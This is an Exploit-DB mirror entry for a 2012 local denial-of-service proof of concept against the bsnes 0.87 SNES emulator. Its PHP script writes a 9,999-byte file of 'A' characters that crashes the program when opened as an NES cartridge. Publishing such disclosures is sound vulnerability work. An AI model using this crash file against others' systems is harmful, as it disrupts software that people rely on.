bsnes 0.87 – Local Denial of Service

  • 作者: Yakir Wizman
    日期: 2012-05-25
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/18926/
  • <?php
    # bsnes v0.87 Local Daniel Of Service
    # Tested on Windows 7 64Bit
    # Software Site: http://byuu.org/bsnes/
    # Software Download: http://www.emulator-zone.com/download.php/emulators/snes/bsnes/bsnes_v087-64bit.7z
    # Author: Pr0T3cT10n
    ##################################################################
    # bsnes v0.87 is vulnerable to local denial of service attack.
    # When we try to open a file by 'Catridge' -> 'Load NES Catridge' 
    # that contains 9999 chars ('A'), so bsnes should crash.
    ##################################################################
    # PoC / Code:
    $buffer = str_repeat('A', 9999); # Create 9999 chars('A')..
    if(file_put_contents('crash.nes', $buffer)) {
     echo("File created successfuly.\r\bsnes should crash when you open the file with it.\r\n");
    } else {
     echo("Can't create file. Please try again.\r\n");
    }
    # Cya :)
    # 0x31337.net
    ####################
    ?>
    
    # Exploit-DB Note:
    # 32bit version also affected
    # Tested on: Windows XP Pro Eng.
    # http://www.emulator-zone.com/download.php/emulators/snes/bsnes/bsnes_v087-32bit.7z